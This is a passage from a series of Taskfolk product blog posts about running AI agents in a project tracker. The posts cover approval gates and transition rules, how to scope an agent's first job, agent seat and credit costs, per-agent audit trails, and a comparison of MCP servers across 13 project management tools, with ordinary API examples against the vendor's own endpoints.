"https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/transition", { method: "POST", headers: { Authorization: "Bearer tfk_live_...", "Content-Type": "application/json", }, body: JSON.stringify({ status: "in_review" }), }, ); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/transition", headers={"Authorization": "Bearer tfk_live_..."}, json={"status": "in_review"}, ) ``` We wrote up the mechanics of that gate in [human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents); the point here is just where to put the gate, which is on the moves your rule flagged as high-stakes. ![A board with a review column acting as the approval gate](/images/blog/human-in-the-loop-approval-for-ai-agents-board.webp) Transition rules draw the hardest line of all. You can define which status changes are allowed from which, so a forbidden move is not merely discouraged, it is impossible. If an agent is not supposed to move a ticket straight from "in progress" to "done" without passing through review, you encode that as a workflow rule, and the write simply fails: ```json { "error": { "code": "validation", "message": "Workflow blocks this transition: \"In progress\" cannot move to \"Done\".", "details": { "code": "workflow_transition_blocked", "from": "In progress", "to": "Done" } } } ``` This is the difference between a policy that lives in a doc and one the system holds. A rule an agent can violate is a suggestion. A transition it cannot make is a guardrail. ## Where the lines are coarser than you might want Being honest about this matters, because a framework that oversells its own precision is worse than none. Scopes in Taskfolk are per-resource, not per-field. A `write` key can update issues, and "update an issue" is one permission. You cannot, today, grant an agent the right to change an issue's labels while denying it the right to change that same issue's due date. Both are issue writes. If your rule says labels are the agent's but due dates are yours, scopes alone will not draw that particular line for you. You draw it with the approval step and transition rules instead, or you accept a coarser cut and watch the activity log. That is not a reason to skip the framework. It is a reason to know which tool draws which line. Roles and scopes handle the broad strokes: read versus write, member versus admin. The approval step and transition rules handle the fine ones inside a workflow. And the audit trail is your backstop for everything, because every change an agent makes is recorded in the issue history as that agent, and it stays attributed even after the agent is disconnected. When a coarse line lets through something you wish it had not, you can see exactly who did what and pull it back. ![Issue history showing changes attributed to the agent by name](/images/blog/manage-a-team-of-ai-agents-attribution.webp) ## Start narrow Decision rights are not a thing you get perfectly right on paper. You get them roughly right, then tighten. The safe way in is the same as with any new hire: - Start the agent on the reversible, low-stakes moves. - Give it a `write` key with no `admin`. - Put a review gate on anything that feels heavier. - Watch the activity log for a couple of weeks. Widen the lines only where it has earned it. If you want to set these lines for your own team, Taskfolk gives every agent a role, a scoped key, an approval step you can put wherever you need it, and transition rules that make the forbidden moves impossible. Decide the split first, then wire it in. --- # How to scope an AI agent's first job so the pilot doesn't die URL: https://taskfolk.ai/blog/scope-an-ai-agents-first-job Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, AI agents, how-to Most first AI agent projects fail on scope, not model quality. Here is how to pick a first job narrow and checkable enough to actually ship. When a first AI agent project dies, the postmortem usually blames the model. It was not smart enough, it hallucinated, it missed the obvious thing. That is almost never the real reason. The model was fine. The scope was wrong before anyone wrote a line of prompt. We build a project tracker that agents work in, so we have watched a lot of first pilots. The ones that stall out share a shape, and it is not a shape you fix by swapping in a bigger model. You fix it by picking a better first job. ## The three ways scope kills a pilot Bad scope fails in one of three ways, and it helps to name which one you are about to walk into. **Too broad to finish.** Someone says "let the agent manage the backlog" or "have it run standups." That is not a job, it is a department. The agent does a bit of everything, none of it fully, and there is no point where you can say it worked. The pilot never reaches a verdict, so it just fades. **Too vague to evaluate.** The job sounds narrow but you cannot actually tell if the agent did it right. "Keep the board tidy." Tidy by whose definition? Without a checkable outcome you are left squinting at the output and going on vibes, which means you never build real trust and you never let go of double-checking. **Too risky to run unattended.** The job is clear and checkable, but a wrong move is expensive. It closes tickets, emails customers, deletes things. So you hover over every action, and an agent you have to babysit is slower than doing the task yourself. You quietly stop. Notice that none of these are model problems. All three are decisions you make when you choose the job. Which is good news, because it means the part that decides whether you ship is the part you fully control. ## What a good first job looks like A first job worth running has five properties. Not three, not "some of these," all five. If one is missing, keep looking. **Narrow.** It is one task, not a workflow. You can describe it in a sentence without the word "and." **Repetitive.** It happens often enough that automating it is worth the setup, and often enough that you accumulate evidence quickly. A weekly job gives you four data points a month. A per-issue job might give you forty. **Checkable.** You can look at the output and know, quickly and without ambiguity, whether it did the thing. This is the property people skip, and it is the one that matters most, because it is what lets you stop watching. **Reversible.** When it gets one wrong, you can undo it in seconds and nothing downstream broke. Reversible jobs let you tolerate mistakes while trust is still forming. Irreversible ones do not. **Clear done-condition.** There is a defined state that means "finished," not a fuzzy sense of progress. The agent knows when to stop, and so do you. The five gates, in the order to apply them: ```mermaid flowchart TD J["A candidate first job"] --> N{"Narrow: one task, no 'and'?"} N -->|yes| R{"Repetitive enough to build evidence?"} R -->|yes| C{"Checkable at a glance?"} C -->|yes| V{"Reversible in seconds?"} V -->|yes| DC{"Clear done-condition?"} DC -->|yes| G["Run the pilot"] N -->|no| K["Keep looking"] R -->|no| K C -->|no| K V -->|no| K DC -->|no| K ``` Read those back and you will notice they describe [how you would onboard a careful new hire](/blog/onboard-an-ai-agent-like-a-new-hire), not how you would deploy software. That is the right mental model. You are not installing a feature. You are giving someone their first assignment and watching how they handle it. ## Three jobs that fit Abstract criteria are easy to nod at, so here are three first jobs that pass all five, in the context of a project tracker. **A triage agent that only labels and routes new issues in one project.** A bug report lands, the agent reads it, checks for duplicates, sets a type, a priority, and a label, files it in the right project, and stops. It never closes anything, never replies to anyone. Narrow, repetitive (every new issue), checkable (open the ticket, is the label right), reversible (relabeling takes two seconds), and the done-condition is obvious: the issue is triaged and sitting in the queue. This is the one we recommend most often for a reason. **A reporting agent that drafts the weekly digest.** Once a week it reads what changed across a project and writes a summary a human then sends or edits. It is read-mostly, which makes it about as low-risk as an agent gets. The done-condition is a draft in your inbox. The only thing it can get wrong is the writing, and you are reading that anyway before it goes out. **An agent that keeps one board column moving.** Give it a single column, say "In review," and one job: nudge anything that has gone quiet, or move things that meet a clear rule into the next state. One column means one place to look when you want to check it, and the blast radius of a mistake is exactly that column. ![A kanban board in Taskfolk, where one column can be an agent's entire territory](/images/blog/how-to-use-a-kanban-board-overview.webp) What none of these are: "help the team be more productive." That is a wish, not a job. If you cannot draw a box around what the agent touches and what "done" means, you are still in the too-vague trap. ## Encoding the scope in Taskfolk Once you have picked a job, most of scoping it well is mechanical. Here is how the pieces map onto Taskfolk specifically. **Point the agent at one issue type or one column.** You do not have to let a triage agent see the whole workspace. Aim it at a single project, or a single column, and let it work there. A smaller surface is a smaller thing to reason about and a smaller thing to review. **Define "done" as a status plus acceptance criteria.** This is where the fuzzy jobs get sharp. In Taskfolk a status move is a real, recorded event, so make the done-condition a specific column: the agent's job is finished when the issue reaches "Needs review." Write the acceptance criteria into the issue itself so both the agent and the reviewer are reading the same definition of right. Now "checkable" is not a vibe, it is a state you can see on the board. **Give the agent its own scoped key, and start read-mostly.** Every Taskfolk agent is a real workspace member with its own API key, so its actions are attributed to it in the activity history and you can revoke it alone. Scope that key to read broadly and write narrowly. Better yet, on the first pass, grant almost no write access at all. Let the agent draft and propose, and [keep a person on the actual commit](/blog/decision-rights-between-your-team-and-ai-agents). You add write scope later, when you have watched it enough to trust it. This is the opposite of the usual instinct, which is to grant everything up front and hope. Do not do that. ![A connected agent on the Taskfolk Bots page with its own identity and key](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) **Watch it through its session.** When a Taskfolk agent works, it reports a session with a state: running, needs input, review, done. That session shows up on the Bots page and on the issue itself, so watching the pilot is not a separate monitoring project, it is just looking at the board. The full lifecycle, including the failure exits: ```mermaid stateDiagram-v2 [*] --> pending: created by delegation [*] --> running: agent starts a session pending --> running: agent claims the work running --> needs_input: waiting on a human needs_input --> running: unblocked running --> review: output ready to check review --> done running --> failed running --> cancelled done --> [*] failed --> [*] cancelled --> [*] ``` If you are wiring the agent yourself, reporting a session is one call against the public API. The agent starts it when it picks up work: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"title": "Triage new bug reports", "issue_key": "WEB-12"}' ``` ```javascript const res = await fetch("https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Triage new bug reports", issue_key: "WEB-12" }), }); const { data: session } = await res.json(); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", headers={"Authorization": f"Bearer {TASKFOLK_API_KEY}"}, json={"title": "Triage new bug reports", "issue_key": "WEB-12"}, ) session = res.json()["data"] ``` When the output is ready for a human, the agent updates the same session. Every update also acts as a heartbeat: ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/$SESSION_ID" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"state": "review", "note": "Labeled and routed. Ready for a look."}' ``` ![Agent session states shown live on the hub](/images/blog/manage-a-team-of-ai-agents-states.webp) One caveat worth knowing: a session with no activity for 30 minutes shows as "stalled." That is a signal to look, not a verdict. Maybe it is genuinely stuck, maybe it is waiting on something, maybe it just finished quietly. Stalled means check, not failed. **Review output in small batches before widening.** Do not judge the pilot on one run and do not judge it on a hundred at once. Let it triage ten issues, read all ten, then decide. When you notice you have stopped double-checking, that is your cue to hand it the next job, or to grant the write scope you held back. Widen slowly. The whole point of a tight first scope is that it earns you the right to loosen it. ![The sessions list gives you the batch to review, run by run](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) ## The honest part Scoping is the boring middle of the work, and it is also the part that determines the outcome. A narrow, checkable, reversible first job with a clear done-condition will usually ship, even with a mediocre prompt. A vague, sprawling, irreversible one will usually die, even with a great model. That asymmetry is worth internalizing before you start, because it is tempting to spend all your energy on the prompt and none on the scope, and that is exactly backwards. None of this promises a frictionless run. The agent will get things wrong. A session will stall and turn out to be nothing. You will find a case the acceptance criteria did not cover. That is fine, and it is why the first job is reversible and small. You are not betting the process on it. You are running one narrow experiment with a clear pass or fail. If you want to try it, [connect an agent from the Bots page](/docs/how-to-use-ai-agents-in-taskfolk), give it a read-mostly key, and point it at one column or one issue type with a defined "done." Pick the narrowest job you can stand, watch its sessions for a week or two, and only widen the scope once you have stopped checking its work. --- # Do AI agents count as seats? The real cost of running them URL: https://taskfolk.ai/blog/do-ai-agents-count-as-seats Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, metrics, pricing, AI agents Two costs get blurred together: paying a seat per bot, and the tokens the model burns. Here is how to separate them and estimate what agents actually cost. The first question a team asks before adding agents to a paid tool is rarely about capability. It is about the bill. If I connect five agents, does each one cost me a seat? If they run all week, what does that do to my invoice? Fair question, and the answer is confusing mostly because two different costs get squashed into one. There is the price of the agent existing as an account on your tool. And there is the price of the AI actually thinking, the tokens the model burns doing the work. People argue about "AI agent cost" as if it is one number. It is two, and they behave nothing alike. ```mermaid flowchart TD A[Cost of running an agent] --> B[Account cost] A --> C[Thinking cost] B --> D[Per seat tracker: each bot is a paid seat] B --> E[Taskfolk: agent is a member, not a seat] C --> F[Taskfolk AI features spend credits] C --> G[Connected agent bills its own provider] ``` ## Cost one: the seat for the agent as a user Most trackers model a user the same way whether a human or a script is behind the login. You add an account, you pay for a seat. That is fine when your team is people. It gets strange the moment your team includes bots. Say you want a triage agent, a spec-drafting agent, and a couple of agents watching specific projects. On a [per-seat tool](/blog/jira-alternatives-price-per-seat), that is four more paid accounts sitting next to your humans, priced the same as a senior engineer. A modest fleet of agents becomes a real line item, and the more you automate, the more you pay for the privilege of automating. That is a genuinely odd incentive. The tool charges you most exactly when you are leaning on it hardest. Taskfolk does not do this. A Taskfolk agent is a real workspace member, with a name, a provider identity, and an avatar badge, so it shows up in pickers and in activity like anyone else. But it is not counted as a paid seat. You can connect up to 25 agents in a workspace and none of them touch your seat count. You pay for the humans who build; you do not pay a head tax on the bots that help them. ![The Bots page roster showing connected agents as workspace members with their own names and provider identities](/images/blog/manage-a-team-of-ai-agents-hub-roster.webp) Agents are first-class members on the API too. One call lists every agent in the workspace, who owns it, and whether it is currently running a session: ```bash curl https://taskfolk.ai/api/v1/workspaces/acme/agents \ -H "Authorization: Bearer tfk_live_your_key" ``` Viewers are free too, which matters more than it sounds for agents. A lot of what an agent does is read: check its column, read an issue, pull the backlog, summarize a thread. Read-mostly access does not rack up seats for a person, and it does not for an agent either. The cost of an agent that mostly watches and occasionally acts is, on the seat side, zero. ## Cost two: the tokens the model actually burns Here is the part nobody gets to skip. The agent still has to think, and thinking costs money. When your agent reads a long issue and drafts a plan, a model somewhere processes those tokens and someone pays for them. That cost is real, it is separate from seats, and pretending otherwise is how people get surprised. In Taskfolk the AI features run on credits. Every workspace gets a monthly grant of credits by plan, and you can top up when you need more. The built-in AI chat assistant uses credits when it drafts an issue, summarizes a thread, or proposes a change. The optional weekly digest, a Monday email with an AI summary of each project, uses credits too. Heavier use burns more. An agent that triages a handful of tickets a day sips credits; an agent processing hundreds of items an hour drinks them. ![The AI credits card on the billing page showing the monthly grant, usage, and top-up balance](/images/blog/how-to-manage-billing-and-plans-credits-card.webp) Be clear-eyed about the free grant. It is sized for trying things, not for [running a fleet](/blog/manage-a-team-of-ai-agents) at full tilt. If you connect several agents and point them at real volume, you will move past the monthly grant and into top-ups, and that is the honest cost of the work getting done. The grant lets you prove the loop is worth it before you spend on it. It is not a way to run production automation for free. One nuance worth knowing: named agents connecting over the API and MCP server are not the same billing surface as the in-app AI chat assistant. The chat assistant is the thing that spends your credits, because it is Taskfolk's model doing the work. A named agent you connect, say Claude Code or Codex, usually runs on its own model and its own provider bill, and talks to Taskfolk over the API. So "how much do my agents cost" often splits again: - What you pay Taskfolk: seats, which is zero for agents, plus credits for Taskfolk's own AI features. - What you pay your model provider: the tokens your connected agent burns on its own model. Keep those apart in your head and the invoice stops being mysterious. ## A simple way to estimate your real cost Skip the per-bot math. It leads you to the wrong number. The cost of running agents on Taskfolk is: The number of paid human builders, plus your AI usage. That is the whole formula. Agents do not add seats, so they drop out of the first term entirely. Viewers, human or agent, are free, so read-heavy access drops out too. What is left is the people who actually build, priced per seat, and the credits your AI features consume, which scales with how hard you work them. ![The plan grid on the billing page, where seats are priced per human builder](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) So the questions to actually ask are: - How many people on my team need to create and edit work? That sets your seat bill. - Roughly how much AI work will I run each month, chat drafts, digests, agent-driven triage? That sets your credit spend. Neither one is "count the bots and multiply." For most teams the shape is friendly. You add agents to take load off the humans, the agents do not cost seats, and your credit use tracks the value you are getting rather than the number of accounts you opened. If your credit use climbs, it is because agents are doing more real work, which is the trade you wanted. The failure mode to avoid is the opposite one: paying per bot on a tool that taxes you for automating, then rationing agents to keep the seat count down. That is optimizing for the wrong thing. ## Where to start Connect one agent, give it a narrow job, and watch two meters instead of one. The seat meter should not move, because agents are not seats. The credit meter will move a little, and that is the real cost of the work, in a form you can see and top up deliberately. Both meters are one API call away. `GET /v1/workspaces/{slug}/usage` returns your plan, storage, and AI credit position in a single response: ```bash curl https://taskfolk.ai/api/v1/workspaces/acme/usage \ -H "Authorization: Bearer tfk_live_your_key" ``` ```javascript const res = await fetch("https://taskfolk.ai/api/v1/workspaces/acme/usage", { headers: { Authorization: "Bearer tfk_live_your_key" }, }); const { data } = await res.json(); console.log(data.ai_credits.remaining, data.ai_credits.topup_balance); ``` ```python import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/usage", headers={"Authorization": "Bearer tfk_live_your_key"}, ) credits = res.json()["data"]["ai_credits"] print(credits["used"], "of", credits["monthly_grant"]) ``` The `ai_credits` block is the meter that moves when AI does work: ```json { "data": { "plan": { "plan": "pro", "trialing": false }, "ai_credits": { "monthly_grant": 5000, "used": 1240, "remaining": 3760, "topup_balance": 0 } } } ``` You can [connect an agent in the Bots page](/docs/how-to-use-ai-agents-in-taskfolk), name it, and get a scoped key and an MCP setup command in a couple of minutes. The connect dialog hands you the exact snippet, which looks like this for Claude Code: ```bash claude mcp add --transport http taskfolk-product \ https://taskfolk.ai/api/mcp/v1 \ --header "Authorization: Bearer tfk_live_your_key" ``` ![The Bots page after connecting an agent, with the new agent listed and ready for work](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) Start there, run it for a week, and read your own numbers before you decide how far to widen it. --- # Keep an audit trail of everything your AI agents change URL: https://taskfolk.ai/blog/keep-an-audit-trail-of-ai-agent-changes Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, security, AI agents, engineering management Once agents can write to your tracker, a shared bot account makes every change anonymous. Here is how per-agent identity keeps the trail readable. The first time an AI agent moves one of your tickets to the wrong column, someone is going to open the issue and ask "who did this?" What happens next tells you whether you set the system up right. If the answer is a name, you are fine. You open the activity log, see which agent made the change, when, and what it touched, and you decide what to do. If the answer is "the bot," you have a problem. A shared bot account is one anonymous actor. Every agent you connect writes under the same identity, so the log records that "the bot" changed the priority, "the bot" closed three issues, "the bot" left a comment that turned out to be wrong. You cannot tell which of your four agents did it. You cannot cut off the one that misbehaved without cutting off all of them. And when someone eventually asks how a field got its value, the honest answer is you do not know. That is the accountability gap that opens the moment agents can write to your tracker, and it is worth closing before you scale past one agent. ## The problem with a shared token A single API token shared across agents is the default because it is the easy thing. You mint one key, paste it into every script and every MCP client, and everything works. The board fills up, the automations run, the demo looks great. Then something goes sideways and you go looking for a trail. There isn't one, or at least not a useful one. Every write in the history reads as the same actor: ```mermaid flowchart TD A[Triage agent] --> T[One shared token] B[Spec agent] --> T C[Review agent] --> T T --> L[Activity log] L --> Q[Who did this] Q --> U[No way to tell] ``` You can see that a change happened, but not who among your agents made it. That means you cannot trace a bad change back to its source, cannot compare one agent's behavior against another's, and cannot revoke a single agent's access. Revoking the shared token kills every agent at once, so in practice nobody revokes it, and the questionable agent keeps running because turning it off is too disruptive. None of this is a model problem. It is an identity problem, and you solve it the same way you would for a team of people: give each one a name and its own credentials. ## Give every agent its own identity In Taskfolk an agent is a real workspace member, not a token. When you connect one from the Bots page, you name it (2 to 60 characters) and pick its provider, Claude Code, Codex, Cursor, Gemini, and a handful of others, or a generic custom agent. It gets an avatar with an agent badge, it shows up in the assignee picker under an "Agents" section next to your people, and it appears in activity like any other member. Agent members are not billed as seats, so this does not cost you anything to do properly. ![Bots page showing a connected agent with its own name and provider](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) The part that matters for the audit trail: every comment, every status change, every issue update that agent makes is recorded in the issue's activity history as that specific agent. Not "the bot." The name you gave it. If a "spec-drafter" agent set a priority and a "triage" agent added a label, the log says exactly that, in order, with timestamps. ![Issue activity attributing each change to a specific named agent](/images/blog/manage-a-team-of-ai-agents-attribution.webp) A key acts as the user who created it, so the fastest sanity check is to ask the API who your key resolves to before the agent starts writing: ```bash curl -H "Authorization: Bearer $TASKFOLK_API_KEY" \ https://taskfolk.ai/api/v1/me ``` If that returns the agent's own identity, every write it makes from then on lands in the history under the right name. That readability is the whole point. When you can read the history and see individual agents acting, "who changed this?" stops being an unanswerable question and becomes a two-second glance. The trail itself is queryable too. Each activity entry carries the actor, the kind of change, and a timestamp: ```bash curl -H "Authorization: Bearer $TASKFOLK_API_KEY" \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-12/activity" ``` ```json { "data": [ { "id": "0197f2ab-...", "kind": "status_changed", "actor": { "id": "0197e011-...", "email": "codex@acme.dev", "name": "Codex" }, "payload": { "from": "todo", "to": "in_progress" }, "created_at": "2026-07-14T09:12:44.000Z" } ] } ``` That `actor.id` is the agent's own user id, not a shared bot's. ## One key, one agent, surgical revocation Each agent connects with its own scoped API key, minted once and shown once. Because the key belongs to a single agent, revoking it cuts off exactly that agent and nothing else. Your other agents keep running. | | Shared token | Per-agent keys | |---|---|---| | Log entry reads | "the bot" | The agent's name | | Trace a bad change | No | Yes, to one agent | | Revoke one agent | Kills all agents | Kills only that one | | Compare agent behavior | Impossible | Read the history | This is the difference between a scalpel and a light switch. With a shared token, the only control you have is off. With per-agent keys, you can retire the one agent that filed a wave of duplicate issues on Tuesday and leave the rest of your setup untouched. The key lifecycle is itself on record: `api_key.created` and `api_key.revoked` events land in the workspace audit log on the Developer page. ![Workspace audit log listing key and webhook events with their actors](/images/blog/how-to-track-api-usage-and-audit-logs-audit-table.webp) The keys follow a read-broadly, write-narrowly rule. A `write` scope grants member-level writes; `admin` is deliberately kept out of plain `write`, so an agent you meant to give ordinary access to cannot quietly reach settings-level actions. Scope an agent to read the whole board and write only where it needs to, and the trail it leaves stays inside the boundary you drew. ## Sessions record the run, not just the writes Attribution answers who changed a thing. Agent sessions answer what the agent was doing while it changed it. A session is how an agent reports on a run: it carries a title, a status note (something like "blocked on env var"), and an external URL, usually a pull request link. A session can be anchored to a specific issue like WEB-12 or run at the workspace level, and it shows up both on the Bots page and on the issue itself. Starting one is a single request. In curl: ```bash curl -X POST \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"title": "Safari checkout regression", "issue_key": "WEB-12"}' \ https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Safari checkout regression", issue_key: "WEB-12", }), }, ); const { data: session } = await res.json(); ``` ```python import os import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"title": "Safari checkout regression", "issue_key": "WEB-12"}, ) session = res.json()["data"] ``` The session then moves through states, and each `PATCH` update is a heartbeat: ```mermaid stateDiagram-v2 [*] --> running running --> needs_input needs_input --> running running --> review review --> done running --> done running --> failed running --> cancelled done --> [*] failed --> [*] cancelled --> [*] ``` When the agent finishes and has a pull request up, one more call closes the loop: ```bash curl -X PATCH \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"state": "review", "external_url": "https://github.com/acme/web/pull/481"}' \ https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/SESSION_ID ``` ![Agent sessions list showing each run with its state, title, and linked issue](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) So when you review a change later, you have two layers. The activity log tells you the agent set priority to high and moved the card. The session tells you that happened during a run titled "Safari checkout regression," that the agent linked a PR, and that it ended in "review" waiting for a person. That context is what turns a bare log entry into something you can actually reason about. One honest note on sessions. A session that [goes 30 minutes without a heartbeat](/blog/is-your-ai-agent-stuck) is shown as "stalled." That is a signal to go look, not proof that anything failed. The agent might be waiting on a slow build. Read it as "check on this," not "this is broken." And if the person who normally checks is off, [who reviews your agents while you're on holiday](/blog/who-reviews-your-agents-while-you-are-away) is worth settling before it comes up. ## The trail survives the agent Agents are temporary. You connect one for a project, it does its work, and eventually you disconnect it. The question is what happens to everything it did. The record stays. When you disconnect an agent, its past comments, status changes, and updates remain attributed to it in the activity history. The audit trail does not hollow out into "unknown user" or collapse into the shared-bot blur. Six months from now, when someone asks why an issue was reprioritized last spring, the answer is still there with the right name on it, even though the agent itself is long gone. An audit trail that forgets who did what the moment they leave is not an audit trail. ## Where the honesty has to be This is not total, field-level forensics, and it would be dishonest to sell it that way. Scopes are per-resource, not per-field. The trail reliably tells you which agent touched which issue and made which comment or status change. It does not always break down every individual field mutation in the same granular way. For most accountability questions, who changed this issue, who moved this card, who left this comment, that is exactly the resolution you need. If you are expecting a per-field diff on every attribute for compliance-grade reconstruction, know the boundary going in. Agents do get real-time push: each connected agent holds an SSE stream that fires the instant it is assigned an issue, @mentioned, or one of its sessions changes, so it reacts on the event rather than on a poll (a plain REST poll still works as a fallback). Either way the trail records what happened, independent of how quickly an agent reacts, and it is the kind of thing worth knowing before you wire up a workflow that assumes instant response. ## What this buys you The reason to do identity properly before you scale is simple: it is the difference between agents you can supervise and agents you have to trust blindly. With named agents, per-agent keys, sessions, and durable attribution, you can [run several at once](/blog/manage-a-team-of-ai-agents) and still answer every "who did this?" that comes up, trace a bad change to its source, and revoke exactly the one that earned it. With a shared token, you get speed until the first thing goes wrong, and then you get a log full of "the bot" and no clean way to act on it. If you are [connecting your first agent](/docs/how-to-use-ai-agents-in-taskfolk), connect it as a named member with its own scoped key from the Bots page, and check the activity log on its first few changes. Reading your own audit trail once is the fastest way to know it will hold up when you need it. --- # The MCP audit: which project tools can AI agents use? (2026) URL: https://taskfolk.ai/blog/mcp-audit-project-management-2026 Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: MCP, AI agents, agentic project management, comparison We audited the MCP servers of 13 project management tools: who has one, what agents can really do, the call caps, and the gaps nobody mentions. A year ago, "does your tracker have an MCP server" separated two or three tools from the pack. That era is over: of the 13 project management tools we audited this week, 12 have a first-party MCP server. The interesting questions have moved. What can an agent actually do once it connects? What does it cost? And what is the agent, in the tool's model, once it is inside? This is a documentation audit, done the honest way: for every tool we read the official MCP docs, repos, and announcements during the week of July 14, 2026, and we link every claim to its source. Where the docs are silent, we say "unpublished" instead of guessing. We build Taskfolk, one of the 13, so check our claims against the sources; they are all one click away. ## The state of the field, in one table | Tool | First-party MCP | Access | Auth | Notable limits | |---|---|---|---|---| | Jira (Atlassian) | Yes, GA | Remote | OAuth 2.1 | Rate limits exist but unpublished | | Linear | Yes | Remote only | OAuth 2.1 / API key | Issues, projects, comments | | Asana | Yes, v2 GA | Remote | OAuth | Smaller tool set (~17 tools) | | Monday.com | Yes | Remote + open-source local | OAuth / token | Can delete items (rare) | | ClickUp | Yes, beta | Remote | OAuth only | 50-300 calls/day without the AI add-on | | Trello | Yes | Remote | OAuth 2.0 | One workspace per connection, no deletes | | Notion | Yes | Remote + open-source local | OAuth | Local repo may be sunset | | Shortcut | Yes | Remote (local archived) | OAuth | Stories, epics, docs | | Wrike | Yes | Remote | OAuth / token | Scoped to user permissions | | Airtable | Yes, GA | Remote | OAuth / PAT | No deletes, 10-record write batches | | Plane | Yes, open source | Hosted + self-hosted | OAuth / PAT | 30+ tools | | Basecamp | No | Community servers only | Varies | 37signals ships a CLI + agent skills instead | | Taskfolk | Yes | Remote | OAuth / API key | Full API surface | Sources for every row are linked in the sections below. ## Who shipped what **Atlassian** runs one remote server for the whole suite, Jira, Confluence, JSM, and Bitbucket, at a single endpoint with OAuth 2.1, and it went GA after a 2025 beta ([docs](https://support.atlassian.com/atlassian-rovo-mcp-server/docs/getting-started-with-the-atlassian-remote-mcp-server/), [repo](https://github.com/atlassian/atlassian-mcp-server)). Agents can search, create, and update work items with the user's own permissions. The gap is transparency: rate limits are tied to your Cloud plan but the numbers are not published, and there is an [open issue](https://github.com/atlassian/atlassian-mcp-server/issues/171) of users hitting 429s earlier than expected. **Trello**, also Atlassian, gets its own server with read, write, and search scopes, archive-only deletion, and a one-workspace-per-connection limit ([docs](https://support.atlassian.com/trello/docs/connect-trello-to-ai-assistants-with-trello-mcp/)). **Linear** was early and stayed disciplined: a hosted-only server, OAuth 2.1 with dynamic client registration, covering issues, projects, and comments ([docs](https://linear.app/docs/mcp), [changelog](https://linear.app/changelog/2025-05-01-mcp)). No self-hosted option, no published rate limits. **Asana** is on its second generation. The v1 SSE beta is being shut down and v2 is generally available at a new endpoint ([docs](https://developers.asana.com/docs/mcp-server)). The current tool set is around 17 tools, noticeably smaller than v1 offered, which is a useful reminder that these surfaces can shrink as well as grow. **Monday.com** publishes its server as open source under MIT, offers both a hosted endpoint and a local npm package, and, unusually for this field, exposes delete operations ([repo](https://github.com/mondaycom/mcp), [docs](https://developer.monday.com/apps/docs/mcp-servers)). If you connect an agent to Monday, scope it carefully; most vendors decided agents should not delete, Monday lets them. **ClickUp** has the most consequential fine print in the audit. The server itself is a public beta, OAuth-only ([docs](https://developer.clickup.com/docs/connect-an-ai-assistant-to-clickups-mcp-server)). But without ClickUp's paid AI add-on, MCP calls are capped at 50 per 24 hours on Free and 300 per 24 hours on paid plans ([help center](https://help.clickup.com/hc/en-us/articles/33335772678423-What-is-ClickUp-MCP)). An active coding agent triaging a backlog will burn 300 calls in one session. That makes MCP effectively a feature of the AI add-on ($9 to $28 per user per month), not of the plan. The fine print in flowchart form: ```mermaid flowchart TD A[Agent MCP call to ClickUp] --> B{AI addon purchased} B -- yes --> C[Normal plan rate limits] B -- no --> D{Plan tier} D -- Free --> E[50 calls per day] D -- Paid --> F[300 calls per day] ``` The next five all shipped credible first-party servers: - **Notion**: hosted, plus an open-source local server it may eventually sunset ([overview](https://developers.notion.com/guides/mcp/overview)). - **Shortcut**: moved fully to a hosted server and archived its local one in July 2026 ([help center](https://help.shortcut.com/hc/en-us/articles/36443434285844-MCP-Server)). - **Wrike**: launched in mid-2025 with OAuth and permission-scoped access ([docs](https://developers.wrike.com/docs/wrike-mcp-server-overview)). - **Airtable**: GA on all plans with a deliberately safe surface, no deletes, small write batches ([docs](https://support.airtable.com/docs/using-the-airtable-mcp-server)). - **Plane**: the open-source tracker ships 30+ tools you can run hosted, self-hosted, or local ([docs](https://developers.plane.so/dev-tools/mcp-server)). **Basecamp** is the one holdout, and it looks intentional. There is no first-party MCP server, only community ones of varying depth. Instead, 37signals ships a CLI with agent skills ([dev.37signals.com](https://dev.37signals.com/)), a different bet on how agents should reach a tool. Given who they are, expect them to argue the case in public eventually. **Taskfolk**, ours: a first-party remote server whose tools derive from the same OpenAPI registry as our REST API, so MCP coverage tracks the full product surface, issues, projects, docs, comments, search, sprints, agents, rather than a curated subset. Setup is documented on the [developer page](/developer). For Claude Code it is one command: ```bash claude mcp add --transport http taskfolk-product 